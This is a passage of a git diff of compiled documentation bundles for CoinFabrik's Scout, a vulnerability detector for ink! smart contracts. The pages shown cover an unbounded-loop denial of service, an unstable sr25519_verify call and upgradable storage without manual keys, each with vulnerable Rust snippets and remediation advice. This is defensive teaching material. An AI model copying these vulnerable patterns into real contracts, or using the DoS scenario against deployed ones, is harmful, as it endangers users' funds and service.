",(0,a.kt)("inlineCode",{parentName:"p"},"Error")," enum and then returning a ",(0,a.kt)("inlineCode",{parentName:"p"},"Result<(), Error>"),",\nmore information is added to the caller and, e.g. the caller contract could\ndecide to revert the transaction or to continue execution."),(0,a.kt)("p",null,"The remediated code example can be found ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/panic-error/panic-error-1/remediated-example/src/lib.rs"},"here"),"."),(0,a.kt)("h2",{id:"references"},"References"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://substrate.stackexchange.com/questions/2391/panic-in-ink-smart-contracts"},"https://substrate.stackexchange.com/questions/2391/panic-in-ink-smart-contracts")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://github.com/paritytech/ink/issues/641"},"https://github.com/paritytech/ink/issues/641"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/e5c10141.2596a2ab.js b/assets/js/e5c10141.2596a2ab.js deleted file mode 100644 index 49ee7eab..00000000 --- a/assets/js/e5c10141.2596a2ab.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[58],{9613:(e,t,n)=>{n.d(t,{Zo:()=>c,kt:()=>b});var a=n(9496);function o(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function r(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function i(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var s=a.createContext({}),u=function(e){var t=a.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},c=function(e){var t=u(e.components);return a.createElement(s.Provider,{value:t},e.children)},p="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},m=a.forwardRef((function(e,t){var n=e.components,o=e.mdxType,r=e.originalType,s=e.parentName,c=l(e,["components","mdxType","originalType","parentName"]),p=u(n),m=o,b=p["".concat(s,".").concat(m)]||p[m]||d[m]||r;return n?a.createElement(b,i(i({ref:t},c),{},{components:n})):a.createElement(b,i({ref:t},c))}));function b(e,t){var n=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var r=n.length,i=new Array(r);i[0]=m;var l={};for(var s in t)hasOwnProperty.call(t,s)&&(l[s]=t[s]);l.originalType=e,l[p]="string"==typeof e?e:o,i[1]=l;for(var u=2;u{n.r(t),n.d(t,{assets:()=>s,contentTitle:()=>i,default:()=>d,frontMatter:()=>r,metadata:()=>l,toc:()=>u});var a=n(2564),o=(n(9496),n(9613));const r={},i="DoS unbounded operation",l={unversionedId:"vulnerabilities/dos-unbounded-operation",id:"vulnerabilities/dos-unbounded-operation",title:"DoS unbounded operation",description:"Description",source:"@site/docs/vulnerabilities/6-dos-unbounded-operation.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/dos-unbounded-operation",permalink:"/scout/docs/vulnerabilities/dos-unbounded-operation",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/6-dos-unbounded-operation.md",tags:[],version:"current",sidebarPosition:6,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unused return enum",permalink:"/scout/docs/vulnerabilities/unused-return-enum"},next:{title:"DoS unexpected revert with vector",permalink:"/scout/docs/vulnerabilities/dos-unexpected-revert-with-vector"}},s={},u=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Deployment",id:"deployment",level:3},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],c={toc:u},p="wrapper";function d(e){let{components:t,...n}=e;return(0,o.kt)(p,(0,a.Z)({},c,n,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"dos-unbounded-operation"},"DoS unbounded operation"),(0,o.kt)("h2",{id:"description"},"Description"),(0,o.kt)("ul",null,(0,o.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,o.kt)("inlineCode",{parentName:"li"},"Denial of Service")),(0,o.kt)("li",{parentName:"ul"},"Severity: ",(0,o.kt)("inlineCode",{parentName:"li"},"Medium")),(0,o.kt)("li",{parentName:"ul"},"Detectors: ",(0,o.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/dos-unbounded-operation/dos-unbounded-operation-1"},(0,o.kt)("inlineCode",{parentName:"a"},"dos-unbounded-operation"))),(0,o.kt)("li",{parentName:"ul"},"Test Cases: ",(0,o.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/dos-unbounded-operation/dos-unbounded-operation-1"},(0,o.kt)("inlineCode",{parentName:"a"},"dos-unbounded-operation-1")))),(0,o.kt)("p",null,"Each block in a Substrate Blockchain has an upper bound on the amount of gas\nthat can be spent, and thus the amount computation that can be done. This is\nthe Block Gas Limit. If the gas spent exceeds this limit, the transaction\nwill fail."),(0,o.kt)("p",null,"In this smart contract a malicious user may modify the smart contract's\nconditions so that any transaction coming after will fail, thus imposing\na denial of service for other users."),(0,o.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,o.kt)("p",null,"In the following example, a contract has a function ",(0,o.kt)("inlineCode",{parentName:"p"},"add_payee")," that allows\nadding a new element to a vector. The function ",(0,o.kt)("inlineCode",{parentName:"p"},"pay_out")," iterates over the\nvector and transfers the value to the payee's address. The problem is that\nthe ",(0,o.kt)("inlineCode",{parentName:"p"},"pay_out()")," function does not have a fixed number of iterations, and thus\nit can consume all the gas in a block."),(0,o.kt)("p",null,"A malicious user could call ",(0,o.kt)("inlineCode",{parentName:"p"},"add_payee")," a large number of times, thus\npopulating the vector with a large number of elements. Then, the function\n",(0,o.kt)("inlineCode",{parentName:"p"},"pay_out")," when iterating over all the elements, will consume all the gas in\na block, and the transaction will fail, successfully performing a DoS attack."),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},"/// Adds a new payee to the operation.\n#[ink(message, payable)]\npub fn add_payee(&mut self) -> u128 {\n let address = self.env().caller();\n let value = self.env().transferred_value();\n let new_payee = Payee { address, value };\n\n self.payees.insert(self.next_payee_ix, &new_payee);\n self.next_payee_ix = self.next_payee_ix.checked_add(1).unwrap();\n\n // Return the index of the new payee\n self.next_payee_ix.checked_sub(1).unwrap()\n}\n")),(0,o.kt)("p",null,"The vulnerable code example can be found ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/dos-unbounded-operation/dos-unbounded-operation-1/vulnerable-example/lib.rs"},"here"),"."),(0,o.kt)("h3",{id:"deployment"},"Deployment"),(0,o.kt)("p",null,"An example can be found under the directory\n",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/dos-unbounded-operation/dos-unbounded-operation-1/vulnerable-example"},"vulnerable-example"),". The exploit can be tested by\nrunning the end-to-end test called ",(0,o.kt)("inlineCode",{parentName:"p"},"pay_out_runs_out_of_gas"),"."),(0,o.kt)("h2",{id:"remediation"},"Remediation"),(0,o.kt)("p",null,"The main recommendation is to change the form of payments to favor pull over\npush. This way, the contract does not need to iterate over a vector of payees,\nand thus it does not need to consume all the gas in a block. The payee could\ninstead call a function that will transfer the value to the payee's address."),(0,o.kt)("p",null,"If looping over an array of unknown size is absolutely necessary, then it\nshould be planned to potentially take multiple blocks, and therefore require\nmultiple transactions."),(0,o.kt)("p",null,"The remediated code example can be found ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/dos-unbounded-operation/dos-unbounded-operation-1/remediated-example/lib.rs"},"here"),"."),(0,o.kt)("h2",{id:"references"},"References"),(0,o.kt)("ul",null,(0,o.kt)("li",{parentName:"ul"},(0,o.kt)("a",{parentName:"li",href:"https://consensys.github.io/smart-contract-best-practices/attacks/denial-of-service"},"https://consensys.github.io/smart-contract-best-practices/attacks/denial-of-service")),(0,o.kt)("li",{parentName:"ul"},(0,o.kt)("a",{parentName:"li",href:"https://consensys.github.io/smart-contract-best-practices/development-recommendations/general/external-calls/"},"https://consensys.github.io/smart-contract-best-practices/development-recommendations/general/external-calls/"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/e5c10141.cf762735.js b/assets/js/e5c10141.cf762735.js new file mode 100644 index 00000000..b12ff79c --- /dev/null +++ b/assets/js/e5c10141.cf762735.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[58],{9613:(e,t,n)=>{n.d(t,{Zo:()=>c,kt:()=>b});var a=n(9496);function o(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function r(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function i(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var s=a.createContext({}),u=function(e){var t=a.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},c=function(e){var t=u(e.components);return a.createElement(s.Provider,{value:t},e.children)},p="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},m=a.forwardRef((function(e,t){var n=e.components,o=e.mdxType,r=e.originalType,s=e.parentName,c=l(e,["components","mdxType","originalType","parentName"]),p=u(n),m=o,b=p["".concat(s,".").concat(m)]||p[m]||d[m]||r;return n?a.createElement(b,i(i({ref:t},c),{},{components:n})):a.createElement(b,i({ref:t},c))}));function b(e,t){var n=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var r=n.length,i=new Array(r);i[0]=m;var l={};for(var s in t)hasOwnProperty.call(t,s)&&(l[s]=t[s]);l.originalType=e,l[p]="string"==typeof e?e:o,i[1]=l;for(var u=2;u{n.r(t),n.d(t,{assets:()=>s,contentTitle:()=>i,default:()=>d,frontMatter:()=>r,metadata:()=>l,toc:()=>u});var a=n(2564),o=(n(9496),n(9613));const r={},i="DoS unbounded operation",l={unversionedId:"vulnerabilities/dos-unbounded-operation",id:"vulnerabilities/dos-unbounded-operation",title:"DoS unbounded operation",description:"Description",source:"@site/docs/vulnerabilities/6-dos-unbounded-operation.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/dos-unbounded-operation",permalink:"/scout/docs/vulnerabilities/dos-unbounded-operation",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/6-dos-unbounded-operation.md",tags:[],version:"current",sidebarPosition:6,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unused return enum",permalink:"/scout/docs/vulnerabilities/unused-return-enum"},next:{title:"DoS unexpected revert with vector",permalink:"/scout/docs/vulnerabilities/dos-unexpected-revert-with-vector"}},s={},u=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Deployment",id:"deployment",level:3},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],c={toc:u},p="wrapper";function d(e){let{components:t,...n}=e;return(0,o.kt)(p,(0,a.Z)({},c,n,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"dos-unbounded-operation"},"DoS unbounded operation"),(0,o.kt)("h2",{id:"description"},"Description"),(0,o.kt)("ul",null,(0,o.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,o.kt)("inlineCode",{parentName:"li"},"Denial of Service")),(0,o.kt)("li",{parentName:"ul"},"Severity: ",(0,o.kt)("inlineCode",{parentName:"li"},"Medium")),(0,o.kt)("li",{parentName:"ul"},"Detectors: ",(0,o.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/dos-unbounded-operation/src"},(0,o.kt)("inlineCode",{parentName:"a"},"dos-unbounded-operation"))),(0,o.kt)("li",{parentName:"ul"},"Test Cases: ",(0,o.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/dos-unbounded-operation/dos-unbounded-operation-1"},(0,o.kt)("inlineCode",{parentName:"a"},"dos-unbounded-operation-1")))),(0,o.kt)("p",null,"Each block in a Substrate Blockchain has an upper bound on the amount of gas\nthat can be spent, and thus the amount computation that can be done. This is\nthe Block Gas Limit. If the gas spent exceeds this limit, the transaction\nwill fail."),(0,o.kt)("p",null,"In this smart contract a malicious user may modify the smart contract's\nconditions so that any transaction coming after will fail, thus imposing\na denial of service for other users."),(0,o.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,o.kt)("p",null,"In the following example, a contract has a function ",(0,o.kt)("inlineCode",{parentName:"p"},"add_payee")," that allows\nadding a new element to a vector. The function ",(0,o.kt)("inlineCode",{parentName:"p"},"pay_out")," iterates over the\nvector and transfers the value to the payee's address. The problem is that\nthe ",(0,o.kt)("inlineCode",{parentName:"p"},"pay_out()")," function does not have a fixed number of iterations, and thus\nit can consume all the gas in a block."),(0,o.kt)("p",null,"A malicious user could call ",(0,o.kt)("inlineCode",{parentName:"p"},"add_payee")," a large number of times, thus\npopulating the vector with a large number of elements. Then, the function\n",(0,o.kt)("inlineCode",{parentName:"p"},"pay_out")," when iterating over all the elements, will consume all the gas in\na block, and the transaction will fail, successfully performing a DoS attack."),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},"/// Adds a new payee to the operation.\n#[ink(message, payable)]\npub fn add_payee(&mut self) -> u128 {\n let address = self.env().caller();\n let value = self.env().transferred_value();\n let new_payee = Payee { address, value };\n\n self.payees.insert(self.next_payee_ix, &new_payee);\n self.next_payee_ix = self.next_payee_ix.checked_add(1).unwrap();\n\n // Return the index of the new payee\n self.next_payee_ix.checked_sub(1).unwrap()\n}\n")),(0,o.kt)("p",null,"The vulnerable code example can be found ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/dos-unbounded-operation/dos-unbounded-operation-1/vulnerable-example/src/lib.rs"},"here"),"."),(0,o.kt)("h3",{id:"deployment"},"Deployment"),(0,o.kt)("p",null,"An example can be found under the directory\n",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/dos-unbounded-operation/dos-unbounded-operation-1/vulnerable-example"},"vulnerable-example"),". The exploit can be tested by\nrunning the end-to-end test called ",(0,o.kt)("inlineCode",{parentName:"p"},"pay_out_runs_out_of_gas"),"."),(0,o.kt)("h2",{id:"remediation"},"Remediation"),(0,o.kt)("p",null,"The main recommendation is to change the form of payments to favor pull over\npush. This way, the contract does not need to iterate over a vector of payees,\nand thus it does not need to consume all the gas in a block. The payee could\ninstead call a function that will transfer the value to the payee's address."),(0,o.kt)("p",null,"If looping over an array of unknown size is absolutely necessary, then it\nshould be planned to potentially take multiple blocks, and therefore require\nmultiple transactions."),(0,o.kt)("p",null,"The remediated code example can be found ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/dos-unbounded-operation/dos-unbounded-operation-1/remediated-example/src/lib.rs"},"here"),"."),(0,o.kt)("h2",{id:"references"},"References"),(0,o.kt)("ul",null,(0,o.kt)("li",{parentName:"ul"},(0,o.kt)("a",{parentName:"li",href:"https://consensys.github.io/smart-contract-best-practices/attacks/denial-of-service"},"https://consensys.github.io/smart-contract-best-practices/attacks/denial-of-service")),(0,o.kt)("li",{parentName:"ul"},(0,o.kt)("a",{parentName:"li",href:"https://consensys.github.io/smart-contract-best-practices/development-recommendations/general/external-calls/"},"https://consensys.github.io/smart-contract-best-practices/development-recommendations/general/external-calls/"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/ebf11444.081e7b86.js b/assets/js/ebf11444.081e7b86.js new file mode 100644 index 00000000..beff5246 --- /dev/null +++ b/assets/js/ebf11444.081e7b86.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[5925],{9613:(e,n,t)=>{t.d(n,{Zo:()=>u,kt:()=>d});var r=t(9496);function i(e,n,t){return n in e?Object.defineProperty(e,n,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[n]=t,e}function a(e,n){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);n&&(r=r.filter((function(n){return Object.getOwnPropertyDescriptor(e,n).enumerable}))),t.push.apply(t,r)}return t}function o(e){for(var n=1;n=0||(i[t]=e[t]);return i}(e,n);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,t)&&(i[t]=e[t])}return i}var s=r.createContext({}),c=function(e){var n=r.useContext(s),t=n;return e&&(t="function"==typeof e?e(n):o(o({},n),e)),t},u=function(e){var n=c(e.components);return r.createElement(s.Provider,{value:n},e.children)},p="mdxType",f={inlineCode:"code",wrapper:function(e){var n=e.children;return r.createElement(r.Fragment,{},n)}},m=r.forwardRef((function(e,n){var t=e.components,i=e.mdxType,a=e.originalType,s=e.parentName,u=l(e,["components","mdxType","originalType","parentName"]),p=c(t),m=i,d=p["".concat(s,".").concat(m)]||p[m]||f[m]||a;return t?r.createElement(d,o(o({ref:n},u),{},{components:t})):r.createElement(d,o({ref:n},u))}));function d(e,n){var t=arguments,i=n&&n.mdxType;if("string"==typeof e||i){var a=t.length,o=new Array(a);o[0]=m;var l={};for(var s in n)hasOwnProperty.call(n,s)&&(l[s]=n[s]);l.originalType=e,l[p]="string"==typeof e?e:i,o[1]=l;for(var c=2;c{t.r(n),t.d(n,{assets:()=>s,contentTitle:()=>o,default:()=>f,frontMatter:()=>a,metadata:()=>l,toc:()=>c});var r=t(2564),i=(t(9496),t(9613));const a={},o="Warning sr25519_verify",l={unversionedId:"vulnerabilities/warning-sr25519-verify",id:"vulnerabilities/warning-sr25519-verify",title:"Warning sr25519_verify",description:"Description",source:"@site/docs/vulnerabilities/27-warning-sr25519-verify.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/warning-sr25519-verify",permalink:"/scout/docs/vulnerabilities/warning-sr25519-verify",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/27-warning-sr25519-verify.md",tags:[],version:"current",sidebarPosition:27,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Avoid Unsafe Block",permalink:"/scout/docs/vulnerabilities/avoid-unsafe-block"},next:{title:"Lazy values not set",permalink:"/scout/docs/vulnerabilities/lazy-values-not-set"}},s={},c=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2}],u={toc:c},p="wrapper";function f(e){let{components:n,...t}=e;return(0,i.kt)(p,(0,r.Z)({},u,t,{components:n,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"warning-sr25519_verify"},"Warning sr25519_verify"),(0,i.kt)("h2",{id:"description"},"Description"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,i.kt)("inlineCode",{parentName:"li"},"Known Bugs")),(0,i.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,i.kt)("inlineCode",{parentName:"li"},"Medium")),(0,i.kt)("li",{parentName:"ul"},"Detectors: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/warning-sr25519-verify"},(0,i.kt)("inlineCode",{parentName:"a"},"warning-sr25519-verify"))),(0,i.kt)("li",{parentName:"ul"},"Test Cases: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/warning-sr25519-verify/warning-sr25519-verify-1"},(0,i.kt)("inlineCode",{parentName:"a"},"warning-sr25519-verify-1")))),(0,i.kt)("p",null,"This function is from the unstable interface, which is unsafe and normally is not available on production chains."),(0,i.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,i.kt)("p",null,"Consider the following ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"},' #[ink(message)]\n pub fn example(&self) -> bool {\n let signature: [u8; 64] = [\n 184, 49, 74, 238, 78, 165, 102, 252, 22, 92, 156, 176, 124, 118, 168, 116, 247, 99,\n 0, 94, 2, 45, 9, 170, 73, 222, 182, 74, 60, 32, 75, 64, 98, 174, 69, 55, 83, 85,\n 180, 98, 208, 75, 231, 57, 205, 62, 4, 105, 26, 136, 172, 17, 123, 99, 90, 255,\n 228, 54, 115, 63, 30, 207, 205, 131,\n ];\n let message: &[u8; 11] = b"hello world";\n let pub_key: [u8; 32] = [\n 212, 53, 147, 199, 21, 253, 211, 28, 97, 20, 26, 189, 4, 169, 159, 214, 130, 44,\n 133, 88, 133, 76, 205, 227, 154, 86, 132, 231, 165, 109, 162, 125,\n ];\n\n ink::env::sr25519_verify(&signature, message.as_slice(), &pub_key).is_ok()\n }\n')),(0,i.kt)("p",null,(0,i.kt)("inlineCode",{parentName:"p"},"sr25519_verify")," is a function not available on production chains. If used, it will cause the contract to fail."),(0,i.kt)("p",null,"The vulnerable code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/warning-sr25519-verify/warning-sr25519-verify-1/vulnerable-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"remediation"},"Remediation"),(0,i.kt)("p",null,"Because of that do not use the ",(0,i.kt)("inlineCode",{parentName:"p"},"sr25519_verify")," function."),(0,i.kt)("p",null,"The remediated code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/warning-sr25519-verify/warning-sr25519-verify-1/remediated-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."))}f.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/ef0b7210.341af020.js b/assets/js/ef0b7210.341af020.js new file mode 100644 index 00000000..8f849daa --- /dev/null +++ b/assets/js/ef0b7210.341af020.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[5417],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>m});var a=n(9496);function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function i(e){for(var t=1;t=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}var u=a.createContext({}),s=function(e){var t=a.useContext(u),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},p=function(e){var t=s(e.components);return a.createElement(u.Provider,{value:t},e.children)},c="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},y=a.forwardRef((function(e,t){var n=e.components,r=e.mdxType,o=e.originalType,u=e.parentName,p=l(e,["components","mdxType","originalType","parentName"]),c=s(n),y=r,m=c["".concat(u,".").concat(y)]||c[y]||d[y]||o;return n?a.createElement(m,i(i({ref:t},p),{},{components:n})):a.createElement(m,i({ref:t},p))}));function m(e,t){var n=arguments,r=t&&t.mdxType;if("string"==typeof e||r){var o=n.length,i=new Array(o);i[0]=y;var l={};for(var u in t)hasOwnProperty.call(t,u)&&(l[u]=t[u]);l.originalType=e,l[c]="string"==typeof e?e:r,i[1]=l;for(var s=2;s{n.r(t),n.d(t,{assets:()=>u,contentTitle:()=>i,default:()=>d,frontMatter:()=>o,metadata:()=>l,toc:()=>s});var a=n(2564),r=(n(9496),n(9613));const o={},i="Avoid autokey upgradable",l={unversionedId:"vulnerabilities/avoid-autokey-upgradable",id:"vulnerabilities/avoid-autokey-upgradable",title:"Avoid autokey upgradable",description:"Description",source:"@site/docs/vulnerabilities/29-avoid-autokey-upgradable.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/avoid-autokey-upgradable",permalink:"/scout/docs/vulnerabilities/avoid-autokey-upgradable",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/29-avoid-autokey-upgradable.md",tags:[],version:"current",sidebarPosition:29,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Lazy values not set",permalink:"/scout/docs/vulnerabilities/lazy-values-not-set"},next:{title:"Non payable transferred value",permalink:"/scout/docs/vulnerabilities/non-payable-transferred-value"}},u={},s=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],p={toc:s},c="wrapper";function d(e){let{components:t,...n}=e;return(0,r.kt)(c,(0,a.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,r.kt)("h1",{id:"avoid-autokey-upgradable"},"Avoid autokey upgradable"),(0,r.kt)("h2",{id:"description"},"Description"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,r.kt)("inlineCode",{parentName:"li"},"Upgradability")),(0,r.kt)("li",{parentName:"ul"},"Vulnerability Severity:",(0,r.kt)("inlineCode",{parentName:"li"},"Critical")),(0,r.kt)("li",{parentName:"ul"},"Detectors: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/avoid-autokey-upgradable"},(0,r.kt)("inlineCode",{parentName:"a"},"avoid-autokey-upgradable"))),(0,r.kt)("li",{parentName:"ul"},"Test Cases: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/avoid-autokey-upgradable/avoid-autokey-upgradable-1"},(0,r.kt)("inlineCode",{parentName:"a"},"avoid-autokey-upgradable-1")))),(0,r.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,r.kt)("p",null,"Consider the following contract:"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(storage)]\n pub struct AvoidAutoKeyUpgradable {\n balances: Mapping,\n total_supply: Lazy,\n }\n\n pub enum Error {\n NotAnAdmin,\n FailedSetCodeHash,\n }\n\n impl Contract {\n /* --- snip --- */\n #[ink(message)]\n pub fn upgrade_contract(&self, value: [u8; 32]) -> Result<(), Error> {\n if self.admin != Self::env().caller() {\n return Err(Error::NotAnAdmin);\n }\n\n match self.env().set_code_hash(&value.into()) {\n Ok(_) => Ok(()),\n Err(_) => Err(Error::FailedSetCodeHash),\n }\n }\n /* --- snip --- */\n }\n\n")),(0,r.kt)("p",null,"When you have a contract that has any kind of ",(0,r.kt)("inlineCode",{parentName:"p"},"Lazy")," storage (",(0,r.kt)("inlineCode",{parentName:"p"},"Lazy"),", ",(0,r.kt)("inlineCode",{parentName:"p"},"Mapping")," or ",(0,r.kt)("inlineCode",{parentName:"p"},"StorageVec"),") and your contract is upgradable, you need to ensure that every ",(0,r.kt)("inlineCode",{parentName:"p"},"Lazy")," storage has a manual key. If you don't do this, the compiler can assign a new key to the ",(0,r.kt)("inlineCode",{parentName:"p"},"Lazy")," storage when you upgrade the contract, and you will lose all that data."),(0,r.kt)("h2",{id:"remediation"},"Remediation"),(0,r.kt)("p",null,"Use ",(0,r.kt)("inlineCode",{parentName:"p"},"ManualKey")," to ensure that the ",(0,r.kt)("inlineCode",{parentName:"p"},"Lazy")," storage has a fixed key. You can use either a literal value or an Enum variant."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"}," pub enum Keys {\n TotalSupply,\n }\n\n #[ink(storage)]\n pub struct AvoidAutoKeyUpgradable {\n balances: Mapping>,\n total_supply: Lazy>,\n }\n\n pub enum Error {\n NotAnAdmin,\n FailedSetCodeHash,\n }\n\n impl Contract {\n /* --- snip --- */\n #[ink(message)]\n pub fn upgrade_contract(&self, value: [u8; 32]) -> Result<(), Error> {\n if self.admin != Self::env().caller() {\n return Err(Error::NotAnAdmin);\n }\n\n match self.env().set_code_hash(&value.into()) {\n Ok(_) => Ok(()),\n Err(_) => Err(Error::FailedSetCodeHash),\n }\n }\n /* --- snip --- */\n }\n")),(0,r.kt)("h2",{id:"references"},"References"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://use.ink/datastructures/storage-layout"},"https://use.ink/datastructures/storage-layout"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/f1679a91.4ef0c75d.js b/assets/js/f1679a91.dccacd4f.js similarity index 60% rename from assets/js/f1679a91.4ef0c75d.js rename to assets/js/f1679a91.dccacd4f.js index 28d516ea..544c5ec6 100644 --- a/assets/js/f1679a91.4ef0c75d.js +++ b/assets/js/f1679a91.dccacd4f.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[3770],{9613:(t,e,n)=>{n.d(e,{Zo:()=>u,kt:()=>f});var 